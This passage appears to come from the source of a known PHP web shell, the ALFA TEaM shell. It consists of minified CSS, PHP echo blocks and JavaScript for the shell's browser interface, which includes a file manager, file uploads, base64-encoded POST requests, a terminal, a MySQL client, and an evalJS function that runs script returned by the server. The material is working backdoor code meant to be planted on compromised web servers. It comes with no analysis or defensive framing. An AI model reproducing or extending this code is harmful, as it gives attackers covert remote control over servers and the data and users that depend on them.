ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:\"\\2610\";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:\"\\2611\";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:\"\";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:\"\";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:\"\";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http:\/\/solevisible.com\/icons\/menu\/b_plus.png)}.ic_b_minus{background-image:url(http:\/\/solevisible.com\/icons\/menu\/b_minus.png)}\r\n<?php echo '\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{'.$csscode.'width:100px;height:100px;}\r\n#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:\"Comic Sans MS\";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http:\/\/solevisible.com\/images\/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor(\"header_values\").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:\"Comic Sans MS\";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:\"Comic Sans MS\";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:\"Comic Sans MS\";color:#fff;font-size:small;display:inline-block}input[type=\"file\"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:\"\";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:\"\";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}\r\n.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'\r\n<\/style>';\r\necho \"<script type='text\/javascript'>\r\nvar c_ = '\" . htmlspecialchars($GLOBALS['cwd']) . \"';\r\nvar a_ = '\" . htmlspecialchars(@$_POST['a']) .\"';\r\nvar charset_ = '\" . htmlspecialchars(@$_POST['charset']) .\"';\r\nvar islinux = \".($GLOBALS['sys']!=\"win\"?'true':'false').\";\r\nvar post_encryption_mode = \".(__ALFA_POST_ENCRYPTION__?'true':'false').\";\";?>\r\nvar alfa1_=\"\",alfa2_=\"\",alfa3_=\"\",alfa4_=\"\",alfa5_=\"\",alfa6_=\"\",alfa7_=\"\",alfa8_=\"\",alfa9_=\"\",alfa10_=\"\",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file=\"\",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id=\"\",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang=\"\",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:\"\",d.mf.alfa2.value=null!=i?i:\"\",d.mf.alfa3.value=null!=l?l:\"\",d.mf.alfa4.value=null!=o?o:\"\",d.mf.alfa5.value=null!=r?r:\"\",d.mf.alfa6.value=null!=n?n:\"\",d.mf.alfa7.value=null!=s?s:\"\",d.mf.alfa8.value=null!=c?c:\"\",d.mf.alfa9.value=null!=f?f:\"\",d.mf.alfa10.value=null!=_?_:\"\",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t=\"a=\"+alfab64(\"FilesMan\")+\"&c=\"+alfab64(e.c.value)+\"&alfa1=\"+alfab64(e.alfa1.value)+\"&ajax=\"+alfab64(\"true\")+\"&\",i=\"\",l=0;if(d.querySelectorAll(\"#filesman_holder_\"+a+\" form[name=files] input[type=checkbox]\").forEach(function(e){e.checked&&(l++,i+=\"f[]=\"+alfab64(decodeURIComponent(e.value))+\"&\")}),0==l&&\"paste\"!=e.alfa1.value)return!1;switch(alfaloader(\"filesman_holder_\"+a,\"block\"),e.alfa1.value){case\"delete\":d.querySelectorAll(\"#filesman_holder_\"+a+\" .fmanager-row\").forEach(function(e){var a=e.querySelector(\"input[type=checkbox]\");a.checked&&\"..\"!=a.value?e.remove():a.checked=!1}),d.querySelector(\"#filesman_holder_\"+a+\" .chkbx\").checked=!1;break;case\"copy\":case\"move\":case\"zip\":case\"unzip\":d.querySelectorAll(\"#filesman_holder_\"+a+\" input[type=checkbox]:checked\").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader(\"filesman_holder_\"+a,\"none\"),alfaFmngrContextRow()},!1,\"filesman_holder_\"+a)}function initDir(e){var a=\"\",t=\"\";islinux&&(a=\"<a class=\\\"header_pwd\\\" onclick=\\\"g('FilesMan','\/');\\\" path='\/' href='#action=fileman&path=\/'>\/<\/a>\",t=\"\/\");var l=e.split(\"\/\"),o=\"\",r=islinux?\"\/\":\"\";for(i in\"-1\"!=l.indexOf(\"..\")&&(l.splice(l.indexOf(\"..\")-1,1),l.splice(l.indexOf(\"..\"),1)),l)\"\"!=l[i]&&(o+=\"<a onclick=\\\"g('FilesMan','\"+r+l[i]+\"\/');\\\" path='\"+r+l[i]+\"\/' href='#action=fileman&path=\"+r+l[i]+'\/\\' class=\"header_pwd\">'+l[i]+\"\/<\/a>\",r+=l[i]+\"\/\");$(\"header_cwd\").innerHTML=a+o+\" \",alfaInitCwdContext(),l=(l=t+l.join(\"\/\")).replace(\"\/\/\",\"\/\"),d.footer_form.c.value=l,$(\"footer_cwd\").value=l,c_=l}function evalJS(html){var newElement=document.createElement(\"div\");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName(\"script\"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject(\"Microsoft.XMLHTTP\")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?\"function\"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open(\"POST\",e,!0),o.setRequestHeader(\"Content-Type\",\"application\/x-www-form-urlencoded\"),void o.send(a)):void alert(\"Error !\")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t=\"__fnameup\";if(0!=a&&(t=\"__fnameup\"+a),e.files.length>1){for(var i=\"\",l=0;l<e.files.length;l++)i+=e.files[0].name+\", \";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o=\"filesman_holder_\"+i;l.append(\"a\",alfab64(e.a.value)),l.append(\"c\",alfab64(e.c.value)),l.append(\"alfa1\",alfab64(e.alfa1.value)),l.append(\"charset\",alfab64(e.charset.value)),l.append(\"ajax\",alfab64(e.ajax.value)),e.querySelectorAll(\"input[type=file]\").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append(\"f[]\",e.files[a]);else l.append(\"f[]\",e.files[0]);t++}),$(\"footerup\").value=\"\",$(\"__fnameup\").innerHTML=\"\";for(var r=1;r<=upcount;r++){var n=$(\"pfooterup_\"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s=\"up_bar_\"+getRandom();$(\"up_bar_holder\").insertAdjacentHTML(\"beforeend\",\"<div id='\"+s+\"' class='up_bar'><\/div>\");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject(\"Microsoft.XMLHTTP\")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display=\"block\",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a\/t*1e3)\/10+\"%\";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display=\"none\":alfaAjaxError(a.status,\"upload_area\",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if(\"noperm\"!=a.responseText&&\"[]\"!=a.responseText){var e,t=JSON.parse(a.responseText),l=\"\",r=d.querySelectorAll(\"#\"+o+\" #filemanager_table tr\").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,\"file\");try{d.querySelector(\"#\"+o+\" .fmanager-row a[fname='\"+n+\"']\").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class=\"fmanager-row\" id=\"tr_row_'+r+'\"><td><div class=\"myCheckbox\"><input type=\"checkbox\" name=\"f[]\" value=\"'+n+'\" class=\"chkbx\" id=\"checkbox'+r+'\"><label for=\"checkbox'+r+'\"><\/label><\/div><\/td><td id=\"td_row_'+r+'\">'+p+'<div style=\"position:relative;display:inline-block;bottom:12px;\"><a row=\"'+r+'\" id=\"id_'+r+'\" class=\"main_name\" onclick=\"editor(\\''+s+\"','auto','','','','file');\\\" href=\\\"#action=fileman&path=\"+c_+\"&file=\"+s+'\" fname=\"'+n+'\" ftype=\"file\" path=\"'+c_+'\" opt_title=\"\">'+n+'<\/a><\/div><\/td><td><span style=\"font-weight:unset;\" class=\"main_size\">'+c+'<\/span><\/td><td><span style=\"font-weight:unset;\" class=\"main_modify\">'+_+'<\/span><\/td><td><span style=\"font-weight:unset;\" class=\"main_owner_group\">'+u+'<\/span><\/td><td><a id=\"id_chmode_'+r+'\" href=\"javascript:void(0)\" onclick=\"editor(\\''+s+\"','chmod','','','','file')\\\">\"+f+'<\/a><\/td><td><a id=\"id_rename_'+r+'\" title=\"Rename\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''+s+\"', 'rename','','','','file')\\\">R<\/a> <a id=\\\"id_touch_\"+r+'\" title=\"Modify Datetime\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''+s+\"', 'touch','','','','file')\\\">T<\/a> <a id=\\\"id_edit_\"+r+'\" class=\"actions\" title=\"Edit\" href=\"javascript:void(0);\" onclick=\"editor(\\''+s+\"', 'edit','','','','file')\\\">E<\/a> <a id=\\\"id_download_\"+r+'\" title=\"Download\" class=\"actions\" 